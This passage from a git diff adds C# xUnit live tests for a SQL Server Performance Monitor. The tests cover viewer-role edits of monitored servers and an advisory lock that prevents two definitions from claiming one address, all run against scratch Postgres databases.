+            await LiveStoreCleanup.RunOwnedAsync(ok, () => ExecAsync(owner, $"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", CancellationToken.None));
+        }
+    }
+
+    [Fact]
+    public async Task WithoutTheEditFunction_TheWebEdit_IsA500ThatSaysToRerunTheProvisionScript_AndNothingIsSaved()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "srv_nogr_" + Guid.NewGuid().ToString("N")[..8];
+        var (scratch, owner, ownerString) = await ServerAddViewerRoleLiveTests.OpenAsync(ct);
+        await using var _ = scratch;
+        await using var __ = owner;
+        await using var viewer = await ServerAddViewerRoleLiveTests.ProvisionAsync(owner, ownerString, roleName, ServerAddViewerRoleLiveTests.MissingEditFunction, ct);
+        var ok = false;
+        try
+        {
+            await ExecAsync(owner, "INSERT INTO config_service (id) VALUES (1) ON CONFLICT DO NOTHING", ct);
+            await ExecAsync(owner, "INSERT INTO config_monitored_servers (server_id, name, host) VALUES (5203, 'delta', 'delta.example.test')", ct);
+            var (app, client) = await HostAsync(viewer, null, ct);
+            await using var __app = app;
+            using var ___client = client;
+
+            var token = JsonNode.Parse(await client.GetStringAsync("/api/admin/servers/5203", ct))!["modified_at"]!.GetValue<string>();
+            var (status, body) = await PatchAsync(client, 5203, "{\"display_name\":\"Nope\",\"expected_modified_at\":\"" + token + "\"}", ct);
+            Assert.Equal(HttpStatusCode.InternalServerError, status);
+            Assert.Equal(DarlingMcpServerAdminTools.EditStoreNeedsRolesText, JsonNode.Parse(body)!["error"]!.GetValue<string>());
+            Assert.Contains("provision-roles.sql", body, StringComparison.Ordinal);
+            foreach (var driverText in new[] { "42883", "42501", "edit_monitored_server", "does not exist", "permission denied" })
+            {
+                Assert.DoesNotContain(driverText, body, StringComparison.OrdinalIgnoreCase);
+            }
+            Assert.Equal("delta", await ScalarAsync(owner, "SELECT name FROM config_monitored_servers WHERE server_id = 5203", ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(ok, () => ExecAsync(owner, $"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", CancellationToken.None));
+        }
+    }
+
+    /// <summary>
+    /// The edit core's REAL write with the credential in the SET list, as the viewer role (#5240): <c>UPDATE
+    /// config_monitored_servers SET encrypted_password = $3, modified_at = ... WHERE server_id = $1 AND modified_at = $2
+    /// RETURNING modified_at</c>. The web edits above change the name and cost only, and the column fact in
+    /// <see cref="ServerAddViewerRoleLiveTests"/> runs hand-written statements, so nothing else ran this exact statement under
+    /// the viewer's grants: a write to a column viewer can set and cannot read, a predicate and a RETURNING that read only
+    /// <c>modified_at</c> (which viewer may read), and the statement-level beacon trigger firing as viewer.
+    /// </summary>
+    [Fact]
+    public async Task AsTheViewerRole_TheEditStoresRealUpdate_WithThePasswordInTheSetList_WritesUnderTheTokenPredicate_AndReturnsTheNewToken()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "srv_pwd_" + Guid.NewGuid().ToString("N")[..8];
+        var (scratch, owner, ownerString) = await ServerAddViewerRoleLiveTests.OpenAsync(ct);
+        await using var _ = scratch;
+        await using var __ = owner;
+        await using var viewer = await ServerAddViewerRoleLiveTests.ProvisionAsync(owner, ownerString, roleName, null, ct);
+        var ok = false;
+        try
+        {
+            await ExecAsync(owner, "INSERT INTO config_service (id) VALUES (1) ON CONFLICT DO NOTHING", ct);
+            await ExecAsync(owner, $"INSERT INTO config_monitored_servers (server_id, name, host, auth, username, encrypted_password) VALUES (5204, 'echo', 'echo.example.test', 'sql', 'monitor', '{StoredBlob}')", ct);
+
+            var store = new DarlingMcpServerAdminTools.PostgresServerEditStore(viewer);
+            var row = await store.ReadRowAsync(5204, ct);
+            Assert.NotNull(row);
+            var versionBefore = long.Parse(await ScalarAsync(owner, "SELECT config_version FROM config_service", ct), System.Globalization.CultureInfo.InvariantCulture);
+
+            /* The write: the credential column in the SET list, under the modified_at the edit read. */
+            var write = await store.WriteAsync(
+                5204, row!.ModifiedAt, [new DarlingMcpServerAdminTools.EditColumnValue("password", "encrypted_password", NpgsqlDbType.Text, "blob-2")], null, null, ct);
+            Assert.Equal(DarlingMcpServerAdminTools.ServerEditWriteKind.Written, write.Kind);
+            Assert.True(write.ModifiedAt > row.ModifiedAt, "RETURNING modified_at did not move past the token the edit read");
+
+            /* The new blob is stored, the new token is what the row now carries (read as owner and through the by-id read as
+               viewer), and the beacon moved exactly once. */
+            Assert.Equal("blob-2", await ScalarAsync(owner, "SELECT encrypted_password FROM config_monitored_servers WHERE server_id = 5204", ct));
+            await using (var stamp = owner.CreateCommand("SELECT modified_at FROM config_monitored_servers WHERE server_id = 5204"))
+            {
+                Assert.Equal(write.ModifiedAt, (DateTime)(await stamp.ExecuteScalarAsync(ct))!);
+            }
+
+            Assert.Equal(write.ModifiedAt, (await store.ReadRowAsync(5204, ct))!.ModifiedAt);
+            Assert.Equal(versionBefore + 1, long.Parse(await ScalarAsync(owner, "SELECT config_version FROM config_service", ct), System.Globalization.CultureInfo.InvariantCulture));
+
+            /* The token just spent is stale: the same write is a conflict and changes nothing (the blob, the token, the beacon). */
+            var stale = await store.WriteAsync(
+                5204, row.ModifiedAt, [new DarlingMcpServerAdminTools.EditColumnValue("password", "encrypted_password", NpgsqlDbType.Text, "blob-3")], null, null, ct);
+            Assert.Equal(DarlingMcpServerAdminTools.ServerEditWriteKind.Conflict, stale.Kind);
+            Assert.Equal("blob-2", await ScalarAsync(owner, "SELECT encrypted_password FROM config_monitored_servers WHERE server_id = 5204", ct));
+            Assert.Equal(versionBefore + 1, long.Parse(await ScalarAsync(owner, "SELECT config_version FROM config_service", ct), System.Globalization.CultureInfo.InvariantCulture));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(ok, () => ExecAsync(owner, $"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", CancellationToken.None));
+        }
+    }
+
+    /// <summary>
+    /// The MCP side of the same sentence: <c>edit_server</c> on a store whose roles predate the edit function answers
+    /// the error envelope carrying <see cref="DarlingMcpServerAdminTools.EditStoreNeedsRolesText"/> (re-run
+    /// provision-roles.sql), with none of the driver's own text, and saves nothing. The tool runs the same core and the
+    /// same store write the web route does, so this is the call a token holder makes against such a store.
+    /// </summary>
+    [Fact]
+    public async Task WithoutTheEditFunction_TheMcpEditServerTool_AnswersToRerunTheProvisionScript_AndNothingIsSaved()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "srv_mcpn_" + Guid.NewGuid().ToString("N")[..8];
+        var (scratch, owner, ownerString) = await ServerAddViewerRoleLiveTests.OpenAsync(ct);
+        await using var _ = scratch;
+        await using var __ = owner;
+        await using var role = await ServerAddViewerRoleLiveTests.ProvisionAsync(owner, ownerString, roleName, ServerAddViewerRoleLiveTests.MissingEditFunction, ct);
+        var ok = false;
+        try
+        {
+            await ExecAsync(owner, "INSERT INTO config_service (id) VALUES (1) ON CONFLICT DO NOTHING", ct);
+            await ExecAsync(owner, "INSERT INTO config_monitored_servers (server_id, name, host) VALUES (5205, 'echo', 'echo.example.test')", ct);
+
+            /* A rename needs no connection test, so the probe never runs; the write is the first thing that meets the missing function. */
+            var answer = await DarlingMcpServerAdminTools.EditServerByNameAsync(
+                role, "echo", "{\"display_name\":\"Nope\"}", (_, _) => throw new InvalidOperationException("a rename must not be probed"), TestKeyRings.Healthy, null, ct);
+
+            var envelope = JsonNode.Parse(answer)!;
+            Assert.Equal("error", envelope["status"]!.GetValue<string>());
+            Assert.Contains(DarlingMcpServerAdminTools.EditStoreNeedsRolesText, envelope["message"]!.GetValue<string>(), StringComparison.Ordinal);
+            Assert.Contains("provision-roles.sql", answer, StringComparison.Ordinal);
+            foreach (var driverText in new[] { "42883", "42501", "edit_monitored_server", "does not exist", "permission denied" })
+            {
+                Assert.DoesNotContain(driverText, answer, StringComparison.OrdinalIgnoreCase);
+            }
+
+            Assert.Equal("echo", await ScalarAsync(owner, "SELECT name FROM config_monitored_servers WHERE server_id = 5205", ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(ok, () => ExecAsync(owner, $"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", CancellationToken.None));
+        }
+    }
+
+    /// <summary>
+    /// A field an edit cannot change is refused by the real core on the way through the web route: 400, a message that
+    /// names the key (any <c>remediation_</c> key is named <c>remediation_*</c>), and the row is untouched. The refused key
+    /// comes FIRST in the body because the core names the first refused key in body order, and <c>is_enabled</c> is itself
+    /// refused. The row's id is negative, as about half of all ids are, so this also runs the live read and write routes on one.
+    /// </summary>
+    [Fact]
+    public async Task AsTheViewerRole_ARefusedField_Is400ThroughTheRealCore_NamesTheKey_AndLeavesTheRowAlone()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "srv_ref_" + Guid.NewGuid().ToString("N")[..8];
+        var (scratch, owner, ownerString) = await ServerAddViewerRoleLiveTests.OpenAsync(ct);
+        await using var _ = scratch;
+        await using var __ = owner;
+        await using var viewer = await ServerAddViewerRoleLiveTests.ProvisionAsync(owner, ownerString, roleName, null, ct);
+        var ok = false;
+        try
+        {
+            await ExecAsync(owner, "INSERT INTO config_service (id) VALUES (1) ON CONFLICT DO NOTHING", ct);
+            await ExecAsync(owner, "INSERT INTO config_monitored_servers (server_id, name, host) VALUES (-5206, 'foxtrot', 'foxtrot.example.test')", ct);
+            var (app, client) = await HostAsync(viewer, null, ct);
+            await using var __app = app;
+            using var ___client = client;
+
+            var token = JsonNode.Parse(await client.GetStringAsync("/api/admin/servers/-5206", ct))!["modified_at"]!.GetValue<string>();
+            var before = await ScalarAsync(owner, "SELECT modified_at::text FROM config_monitored_servers WHERE server_id = -5206", ct);
+
+            foreach (var (key, value, named) in new[]
+            {
+                ("server_id", "7", "server_id"),
+                ("remediation_username", "\"someone\"", "remediation_*"),
+            })
+            {
+                var body = $"{{\"{key}\":{value},\"is_enabled\":false,\"expected_modified_at\":\"{token}\"}}";
+                var (status, answer) = await PatchAsync(client, -5206, body, ct);
+
+                Assert.Equal(HttpStatusCode.BadRequest, status);
+                Assert.Contains($"'{named}' cannot be changed here", JsonNode.Parse(answer)!["message"]!.GetValue<string>(), StringComparison.Ordinal);
+                Assert.Equal(before, await ScalarAsync(owner, "SELECT modified_at::text FROM config_monitored_servers WHERE server_id = -5206", ct));
+                Assert.Equal("foxtrot", await ScalarAsync(owner, "SELECT name FROM config_monitored_servers WHERE server_id = -5206", ct));
+            }
+
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(ok, () => ExecAsync(owner, $"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", CancellationToken.None));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ServerIdentityLockLiveTests.cs b/Darling/Darling.Tests/ServerIdentityLockLiveTests.cs
new file mode 100644
index 0000000000..2619248c0a
--- /dev/null
+++ b/Darling/Darling.Tests/ServerIdentityLockLiveTests.cs
@@ -0,0 +1,775 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+using Edit = PerformanceMonitor.Darling.Service.Mcp.DarlingMcpServerAdminTools;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches another one;
+   the advisory lock it contends on is scoped to that database. */
+
+/// <summary>
+/// Every write that gives a monitored server an address takes ONE store lock and re-checks the address under it
+/// (#5240, review finding 6). <c>server_id</c> is the hash of the storage key, an edit keeps its row's old id, and
+/// the table has no unique index on the key, so without the lock an <c>add_servers</c> INSERT and an
+/// <c>edit_server</c> UPDATE (or two edits) can each find an address free during their connection probe and each
+/// take it: two definitions with one storage key, both monitored.
+///
+/// <para><b>How the race is made to happen.</b> Both callers are parked inside their probe, which both reach after
+/// their first read of the table showed the address free. The test then takes the lock from a second connection and
+/// lets the probes finish, so both callers reach their write with the address still free in the table. With the
+/// lock in both write paths, both queue behind the held lock and the winner's commit is what the loser re-checks
+/// against. Without it, both writes land: the assertions on the table fail, and the queue assertion with them.</para>
+///
+/// <para><b>The desktop viewer's writes (#5240, PR 2).</b> The viewer's add (<c>AddMonitoredServerAsync</c>) and edit
+/// (<c>UpsertMonitoredServerAsync</c>) take the same lock and re-read the addresses under it. The viewer has no probe
+/// to park in, so its facts make the race the other way round: the lock is taken from a second connection FIRST, the
+/// two callers are started one at a time (each waits until the one before it is queued, so the lock is granted in call
+/// order), and the lock is released once both are queued. The caller that queued first wins; the second's re-check
+/// runs against the first's committed write and must refuse. Each viewer fact runs in both orders, so the viewer's
+/// re-check is what refuses in one of them. A viewer write that took no lock would not queue (the queue assertion
+/// fails); one that did not re-check would write over the other caller (the answers and the table assertions fail).
+/// The startup seed's INSERT loop takes the lock too, and skips an address that was claimed while it waited.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ServerIdentityLockLiveTests
+{
+    private const string AddressK = "race-k.example.test";
+
+    private static readonly ConnectionProbeResult Reached = new(true, 15, 3, "Enterprise", false, false, false, true, null);
+
+    /// <summary>The probe both callers share: it counts arrivals and waits for <see cref="Release"/>.</summary>
+    private sealed class ParkedProbe
+    {
+        private readonly TaskCompletionSource _release = new(TaskCreationOptions.RunContinuationsAsynchronously);
+        private int _arrived;
+
+        public int Arrived => Volatile.Read(ref _arrived);
+
+        public Edit.ServerProbe Probe => async (_, probeToken) =>
+        {
+            Interlocked.Increment(ref _arrived);
+            await _release.Task.WaitAsync(probeToken);
+            return Reached;
+        };
+
+        public void Release() => _release.TrySetResult();
+    }
+
+    private sealed record Rig(ScratchPostgres Scratch, NpgsqlDataSource Owner, string OwnerString) : IAsyncDisposable
+    {
+        public async ValueTask DisposeAsync()
+        {
+            await Owner.DisposeAsync();
+            await Scratch.DisposeAsync();
+        }
+    }
+
+    private sealed record Race(string FirstAnswer, string SecondAnswer, bool BothQueuedOnTheLock, long LocksLeftAfterwards);
+
+    private static async Task<Rig> OpenAsync(CancellationToken ct)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live server identity lock tests (each mints its own scratch database).");
+
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var ownerString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString;
+        await using (var connection = new NpgsqlConnection(ownerString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, null, ct);
+        }
+
+        var owner = NpgsqlDataSource.Create(ownerString);
+
+        /* The edit write is a function (#5240) the provisioning batch creates, not a migration: this rig creates the real one. */
+        await ExecAsync(owner, DarlingManagedRoles.BuildEditMonitoredServerFunctionSql("config"), ct);
+        await ExecAsync(owner, DarlingManagedRoles.BuildEditMonitoredServerLegacyWrapperSql("config"), ct);
+        await ExecAsync(owner, "INSERT INTO config_service (id) VALUES (1) ON CONFLICT DO NOTHING", ct);
+        return new Rig(scratch, owner, ownerString);
+    }
+
+    private static async Task ExecAsync(NpgsqlDataSource source, string sql, CancellationToken ct)
+    {
+        await using var command = source.CreateCommand(sql);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<long> CountAsync(NpgsqlDataSource source, string sql, CancellationToken ct)
+    {
+        await using var command = source.CreateCommand(sql);
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct));
+    }
+
+    private static Task SeedServerAsync(NpgsqlDataSource owner, int id, string name, string host, CancellationToken ct) =>
+        ExecAsync(owner, $@"INSERT INTO config_monitored_servers
+            (server_id, name, host, auth, username, encrypted_password, excluded_databases, capture_plans, is_enabled,
+             alert_delivery_mode_override, plan_force_bot_enabled, remediation_username, remediation_encrypted_password, monthly_cost_usd)
+            VALUES ({id}, '{name}', '{host}', 'integrated', NULL, NULL,
+                    ARRAY['tempdb','model'], TRUE, FALSE, 'PerEvent', TRUE, 'rem-user', NULL, 7)", ct);
+
+    /// <summary>The storage key of every definition, mapped from the same five columns the product reads (a NULL
+    /// engine or port is the default one), in <c>server_id</c> order.</summary>
+    private static async Task<List<string>> StorageKeysAsync(NpgsqlDataSource owner, CancellationToken ct)
+    {
+        var keys = new List<string>();
+        await using var command = owner.CreateCommand(
+            "SELECT host, database, read_only_intent, engine, port FROM config_monitored_servers ORDER BY server_id");
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            keys.Add(ServerIdHelper.BuildStorageName(
+                reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetString(1), !reader.IsDBNull(2) && reader.GetBoolean(2),
+                reader.IsDBNull(3) ? null : reader.GetString(3), reader.IsDBNull(4) ? 0 : reader.GetInt32(4)));
+        }
+
+        return keys;
+    }
+
+    /// <summary>Waiters (<c>granted = false</c>) or holders (<c>true</c>) of advisory locks in THIS database.</summary>
+    private static Task<long> AdvisoryLocksAsync(NpgsqlDataSource owner, bool granted, CancellationToken ct) =>
+        CountAsync(owner, @"SELECT count(*) FROM pg_locks
+            WHERE locktype = 'advisory' AND granted = " + (granted ? "true" : "false") + @"
+              AND database = (SELECT oid FROM pg_database WHERE datname = current_database())", ct);
+
+    private static async Task<bool> WaitUntilAsync(Func<Task<bool>> condition, TimeSpan timeout, CancellationToken ct)
+    {
+        var deadline = DateTime.UtcNow + timeout;
+        while (true)
+        {
+            if (await condition())
+            {
+                return true;
+            }
+
+            if (DateTime.UtcNow >= deadline)
+            {
+                return false;
+            }
+
+            await Task.Delay(TimeSpan.FromMilliseconds(50), ct);
+        }
+    }
+
+    private static JsonNode Parse(string answer) => JsonNode.Parse(answer)!;
+
+    private static string AddJson(string host) => "[{\"host\":\"" + host + "\"}]";
+
+    private static string AddStatusOf(string answer) => Parse(answer)["results"]![0]!["status"]!.GetValue<string>();
+
+    /// <summary>
+    /// Parks both callers in their probe, takes the identity lock from a second connection, lets the probes finish,
+    /// waits until both callers are queued on the lock (or one of them is already done, which is what a write path
+    /// without the lock looks like), then releases the lock and returns both answers.
+    /// </summary>
+    private static async Task<Race> RaceAsync(
+        Rig rig, Func<Edit.ServerProbe, Task<string>> first, Func<Edit.ServerProbe, Task<string>> second, CancellationToken ct)
+    {
+        var parked = new ParkedProbe();
+        var firstCall = Task.Run(() => first(parked.Probe), ct);
+        var secondCall = Task.Run(() => second(parked.Probe), ct);
+
+        var holder = new NpgsqlConnection(rig.OwnerString);
+        NpgsqlTransaction? held = null;
+        var bodySucceeded = false;
+        try
+        {
+            Assert.True(
+                await WaitUntilAsync(() => Task.FromResult(parked.Arrived == 2), TimeSpan.FromSeconds(30), ct),
+                $"Both callers should reach their probe (the address read as free for each); {parked.Arrived} did.");
+
+            await holder.OpenAsync(ct);
+            held = await holder.BeginTransactionAsync(ct);
+            await using (var take = new NpgsqlCommand("SELECT pg_advisory_xact_lock(hashtext('config_monitored_servers.identity'))", holder, held))
+            {
+                await take.ExecuteNonQueryAsync(ct);
+            }
+
+            parked.Release();
+            var bothQueued = false;
+            await WaitUntilAsync(async () =>
+            {
+                if (await AdvisoryLocksAsync(rig.Owner, false, ct) >= 2)
+                {
+                    bothQueued = true;
+                    return true;
+                }
+
+                return firstCall.IsCompleted || secondCall.IsCompleted;
+            }, TimeSpan.FromSeconds(30), ct);
+
+            await held.RollbackAsync(ct);
+            var answers = await Task.WhenAll(firstCall, secondCall).WaitAsync(TimeSpan.FromSeconds(60), ct);
+            var left = await AdvisoryLocksAsync(rig.Owner, true, ct) + await AdvisoryLocksAsync(rig.Owner, false, ct);
+            bodySucceeded = true;
+            return new Race(answers[0], answers[1], bothQueued, left);
+        }
+        finally
+        {
+            parked.Release();
+
+            /* The holder's own rollback: only the session holding the lock can end its transaction. */
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, async () =>
+            {
+                if (held is not null)
+                {
+                    await held.DisposeAsync();
+                }
+
+                await holder.DisposeAsync();
+            });
+        }
+    }
+
+    [Fact]
+    public async Task AnAddAndAnEditThatClaimOneAddress_QueueOnTheLock_AndExactlyOneRowEndsWithIt()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        await SeedServerAsync(rig.Owner, 7301, "race-x", "race-x.example.test", ct);
+
+        var race = await RaceAsync(rig,
+            probe => Edit.AddServersAsync(rig.Owner, AddJson(AddressK), probe, ct),
+            probe => Edit.EditServerByNameAsync(rig.Owner, "race-x", "{\"host\":\"" + AddressK + "\"}", probe, TestKeyRings.Healthy, null, ct),
+            ct);
+
+        var addStatus = AddStatusOf(race.FirstAnswer);
+        var edit = Parse(race.SecondAnswer);
+        var editStatus = edit["status"]!.GetValue<string>();
+        var addWon = addStatus == "added" && editStatus == "collides";
+        var editWon = addStatus == "duplicate" && editStatus == "updated";
+        Assert.True(addWon ^ editWon, $"Exactly one caller should win. add: {addStatus}, edit: {editStatus}.");
+        if (addWon)
+        {
+            Assert.Equal("occupied", edit["reason"]!.GetValue<string>());
+        }
+        else
+        {
+            Assert.Contains("claimed this address", Parse(race.FirstAnswer)["results"]![0]!["detail"]!.GetValue<string>(), StringComparison.Ordinal);
+        }
+
+        var keys = await StorageKeysAsync(rig.Owner, ct);
+        Assert.Equal(keys.Count, keys.Distinct(StringComparer.OrdinalIgnoreCase).Count());
+        Assert.Single(keys, key => key.Contains(AddressK, StringComparison.OrdinalIgnoreCase));
+        Assert.Equal(addWon ? 2 : 1, keys.Count);
+        Assert.Equal(0, race.LocksLeftAfterwards);
+        Assert.True(race.BothQueuedOnTheLock, "Both the add and the edit should have queued behind the held identity lock.");
+    }
+
+    [Fact]
+    public async Task TwoEditsThatMoveTwoServersOntoOneAddress_QueueOnTheLock_AndExactlyOneRowEndsWithIt()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        await SeedServerAsync(rig.Owner, 7311, "race-x", "race-x.example.test", ct);
+        await SeedServerAsync(rig.Owner, 7312, "race-y", "race-y.example.test", ct);
+
+        var race = await RaceAsync(rig,
+            probe => Edit.EditServerByNameAsync(rig.Owner, "race-x", "{\"host\":\"" + AddressK + "\"}", probe, TestKeyRings.Healthy, null, ct),
+            probe => Edit.EditServerByNameAsync(rig.Owner, "race-y", "{\"host\":\"" + AddressK + "\"}", probe, TestKeyRings.Healthy, null, ct),
+            ct);
+
+        var statuses = new[] { Parse(race.FirstAnswer), Parse(race.SecondAnswer) }.Select(a => a["status"]!.GetValue<string>()).Order().ToArray();
+        Assert.Equal(new[] { "collides", "updated" }, statuses);
+
+        var keys = await StorageKeysAsync(rig.Owner, ct);
+        Assert.Equal(2, keys.Count);
+        Assert.Equal(keys.Count, keys.Distinct(StringComparer.OrdinalIgnoreCase).Count());
+        Assert.Single(keys, key => key.Contains(AddressK, StringComparison.OrdinalIgnoreCase));
+        Assert.Equal(0, race.LocksLeftAfterwards);
+        Assert.True(race.BothQueuedOnTheLock, "Both edits should have queued behind the held identity lock.");
+    }
+
+    [Fact]
+    public async Task AnAddAndAnEditOnDifferentAddresses_BothSucceed_AfterQueueingOnTheLock()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        await SeedServerAsync(rig.Owner, 7321, "race-x", "race-x.example.test", ct);
+
+        var race = await RaceAsync(rig,
+            probe => Edit.AddServersAsync(rig.Owner, AddJson("race-added.example.test"), probe, ct),
+            probe => Edit.EditServerByNameAsync(rig.Owner, "race-x", "{\"host\":\"race-moved.example.test\"}", probe, TestKeyRings.Healthy, null, ct),
+            ct);
+
+        Assert.Equal("added", AddStatusOf(race.FirstAnswer));
+        Assert.Equal("updated", Parse(race.SecondAnswer)["status"]!.GetValue<string>());
+
+        var keys = await StorageKeysAsync(rig.Owner, ct);
+        Assert.Equal(2, keys.Count);
+        Assert.Single(keys, key => key.Contains("race-added.example.test", StringComparison.OrdinalIgnoreCase));
+        Assert.Single(keys, key => key.Contains("race-moved.example.test", StringComparison.OrdinalIgnoreCase));
+        Assert.Equal(0, race.LocksLeftAfterwards);
+        Assert.True(race.BothQueuedOnTheLock, "Both the add and the edit should have queued behind the held identity lock.");
+    }
+
+    [Fact]
+    public async Task TheConnectionProbeRunsOutsideTheLock_SoASlowProbeNeverHoldsUpOtherWrites()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        await SeedServerAsync(rig.Owner, 7331, "race-x", "race-x.example.test", ct);
+
+        var parked = new ParkedProbe();
+        var add = Task.Run(() => Edit.AddServersAsync(rig.Owner, AddJson("race-added.example.test"), parked.Probe, ct), ct);
+        var edit = Task.Run(() => Edit.EditServerByNameAsync(rig.Owner, "race-x", "{\"host\":\"race-moved.example.test\"}", parked.Probe, TestKeyRings.Healthy, null, ct), ct);
+        var bodySucceeded = false;
+        try
+        {
+            Assert.True(
+                await WaitUntilAsync(() => Task.FromResult(parked.Arrived == 2), TimeSpan.FromSeconds(30), ct),
+                $"Both callers should be waiting in their probe; {parked.Arrived} were.");
+
+            /* While both sit in a probe (up to about 45 seconds in the field) neither holds the lock: nothing in the
+               database holds or waits on an advisory lock, and a third session takes it at once. */
+            Assert.Equal(0, await AdvisoryLocksAsync(rig.Owner, true, ct));
+            Assert.Equal(0, await AdvisoryLocksAsync(rig.Owner, false, ct));
+            await using (var probeConnection = await rig.Owner.OpenConnectionAsync(ct))
+            await using (var transaction = await probeConnection.BeginTransactionAsync(ct))
+            await using (var tryLock = new NpgsqlCommand("SELECT pg_try_advisory_xact_lock(hashtext('config_monitored_servers.identity'))", probeConnection, transaction))
+            {
+                Assert.True((bool)(await tryLock.ExecuteScalarAsync(ct))!, "The identity lock should be free while both callers are in their probe.");
+                await transaction.RollbackAsync(ct);
+            }
+
+            parked.Release();
+            Assert.Equal("added", AddStatusOf(await add.WaitAsync(TimeSpan.FromSeconds(60), ct)));
+            Assert.Equal("updated", Parse(await edit.WaitAsync(TimeSpan.FromSeconds(60), ct))["status"]!.GetValue<string>());
+            Assert.Equal(0, await AdvisoryLocksAsync(rig.Owner, true, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            /* A body that failed before the release must not leave both callers parked in their probe. */
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () =>
+            {
+                parked.Release();
+                return Task.CompletedTask;
+            });
+        }
+    }
+
+    /// <summary>A probe that answers at once: the viewer's callers have none, and the MCP caller in the same race
+    /// must reach its write without waiting.</summary>
+    private static readonly Edit.ServerProbe ReachedAtOnce = (_, _) => Task.FromResult(Reached);
+
+    private static MonitoredServerRow ViewerRow(int id, string name, string host) => new() { ServerId = id, Name = name, Host = host };
+
+    /// <summary>The viewer's edit save, as one word: <c>Updated</c>, or <c>Claimed</c> when it refused the address.</summary>
+    private static async Task<string> ViewerEditAsync(ViewerDataService viewer, MonitoredServerRow row, CancellationToken ct)
+    {
+        try
+        {
+            await viewer.UpsertMonitoredServerAsync(row, ct);
+            return "Updated";
+        }
+        catch (MonitoredServerAddressClaimedException)
+        {
+            return "Claimed";
+        }
+    }
+
+    /// <summary>
+    /// The race the viewer's writes are held to: takes the SERVICE's identity lock (<see cref="Edit.IdentityLockSql"/>)
+    /// from a second connection first, starts the callers one at a time, waits until both are queued on it (or one is
+    /// already done, which is what a write path without the lock looks like), then releases it and returns both answers
+    /// in call order. The first caller wins the lock.
+    /// </summary>
+    private static async Task<Race> QueuedRaceAsync(Rig rig, Func<Task<string>> first, Func<Task<string>> second, CancellationToken ct)
+    {
+        var holder = new NpgsqlConnection(rig.OwnerString);
+        NpgsqlTransaction? held = null;
+        var bodySucceeded = false;
+        try
+        {
+            await holder.OpenAsync(ct);
+            held = await holder.BeginTransactionAsync(ct);
+            await using (var take = new NpgsqlCommand(Edit.IdentityLockSql, holder, held))
+            {
+                await take.ExecuteNonQueryAsync(ct);
+            }
+
+            /* One at a time: the lock is granted to its waiters in the order they queued, so the caller started first
+               wins it and the second one's re-check is what runs against the first one's committed write. Starting both
+               at once would leave the winner to the scheduler, and a viewer write whose re-check was gone could pass by
+               luck whenever it happened to queue first. */
+            var firstCall = Task.Run(first, ct);
+            await WaitUntilAsync(
+                async () => await AdvisoryLocksAsync(rig.Owner, false, ct) >= 1 || firstCall.IsCompleted, TimeSpan.FromSeconds(30), ct);
+            var secondCall = Task.Run(second, ct);
+            var bothQueued = false;
+            await WaitUntilAsync(async () =>
+            {
+                if (await AdvisoryLocksAsync(rig.Owner, false, ct) >= 2)
+                {
+                    bothQueued = true;
+                    return true;
+                }
+
+                return firstCall.IsCompleted || secondCall.IsCompleted;
+            }, TimeSpan.FromSeconds(30), ct);
+
+            await held.RollbackAsync(ct);
+            var answers = await Task.WhenAll(firstCall, secondCall).WaitAsync(TimeSpan.FromSeconds(60), ct);
+            var left = await AdvisoryLocksAsync(rig.Owner, true, ct) + await AdvisoryLocksAsync(rig.Owner, false, ct);
+            bodySucceeded = true;
+            return new Race(answers[0], answers[1], bothQueued, left);
+        }
+        finally
+        {
+            /* The holder's own rollback: only the session holding the lock can end its transaction. */
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, async () =>
+            {
+                if (held is not null)
+                {
